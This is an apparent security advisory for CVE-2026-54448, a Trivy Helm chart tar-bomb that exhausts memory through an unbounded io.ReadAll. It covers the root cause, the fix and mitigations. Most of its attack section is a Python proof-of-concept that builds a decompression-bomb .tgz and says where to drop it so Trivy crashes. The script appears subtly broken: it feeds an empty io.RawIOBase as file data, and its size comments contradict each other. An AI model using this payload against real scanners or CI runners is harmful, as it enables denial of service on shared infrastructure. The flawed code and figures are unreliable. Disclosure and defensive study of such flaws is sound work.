CVE-2026-54448: Trivy Helm Chart Tar Bomb OOM via Unbounded io.ReadAll
Trivy's Helm chart scanner reads every archive entry into memory with no size limit, so a crafted .tgz that expands to gigabytes can crash the Trivy process and take down a CI runner.
The problem
Before v0.71.0, Trivy's custom Helm `.tgz` unpacker called `io.ReadAll(tr)` on every tar entry with no per-entry or total size cap. Any `.tgz` file detected as a Helm chart triggered this path.
An attacker who can land a crafted archive in a scanned directory or container image can cause Trivy to allocate gigabytes of memory until the OS OOM killer terminates the process. In CI, that blocks the pipeline. On a shared runner it can affect co-located jobs.
Proof of concept
A working proof-of-concept for CVE-2026-54448 in github.com/aquasecurity/trivy, with the exact payload below.
#!/usr/bin/env python3
# Derive a Helm-shaped tar bomb that triggers io.ReadAll OOM in Trivy < 0.71.0.
# Produces a ~1 KB .tgz that decompresses to ~4 GB inside Trivy's parser.
import io, os, tarfile, gzip
BOMB_SIZE = 4 * 1024 * 1024 * 1024 # 4 GB of null bytes (compresses to ~4 MB)
# Build inner tar (chart contents) in memory
inner_buf = io.BytesIO()
with tarfile.open(fileobj=inner_buf, mode='w') as inner:
# Chart.yaml is required for Trivy to recognise the archive as a Helm chart
chart_yaml = b"apiVersion: v2\nname: bomb\nversion: 0.1.0\n"
ti = tarfile.TarInfo(name="bomb/Chart.yaml")
ti.size = len(chart_yaml)
inner.addfile(ti, io.BytesIO(chart_yaml))
# Huge null-filled file — gzip reduces this to kilobytes
huge = tarfile.TarInfo(name="bomb/templates/bigfile")
huge.size = BOMB_SIZE
inner.addfile(huge, io.RawIOBase()) # sparse / zero-reader
inner_buf.seek(0)
# Wrap in gzip to produce the final .tgz
with gzip.open("helm-bomb.tgz", "wb", compresslevel=9) as gz:
gz.write(inner_buf.read())
print("Created helm-bomb.tgz")
print("Place it in any directory and run: trivy config <dir>")The root cause (CWE-789, CWE-770) is a single line in Trivy's pre-patch Helm parser: each tar entry was consumed with `io.ReadAll(tr)`, allocating the full decompressed size as a byte slice in Go's heap. Gzip's compression ratio for repeated-byte data is roughly 1000:1, so a few-kilobyte on-disk archive yields gigabytes in memory with no check in between.
The fix in commit `441251e` (PR #10718) replaced the hand-rolled tar loop entirely with `archive.LoadArchiveFiles` from the official `helm.sh/helm/v4` SDK, which enforces both per-entry and cumulative size limits before any data is read into memory. The payload above is derived from the patch diff: it constructs the minimal Helm directory structure (`Chart.yaml`) so Trivy recognises it as a chart, then adds one oversized null-filled entry that the old code would read unconditionally.
The fix
Upgrade Trivy to v0.71.0 or later. If an immediate upgrade is not possible: set a cgroup/container memory limit on the Trivy process, or use `--skip-dirs` to exclude directories containing untrusted `.tgz` files. The patched version delegates all archive extraction to `helm.sh/helm/v4`'s `archive.LoadArchiveFiles`, which applies hard size limits on every entry.
Reported by jamesgol.
Related research
- highEch0: Accept-Language `_` Separator Bypass Causes ~70x CPU Amplification DoS
- high · 7.5CVE-2026-50125CVE-2026-50125: MKP Unbounded Pod Log Read Memory Exhaustion
- high · 7.5CVE-2026-54063CVE-2026-54063: Excelize Unbounded Row Allocation DoS in Worksheet Parser
- high · 7.5Hysteria: HTTP Sniff Unbounded Header Read Server DoS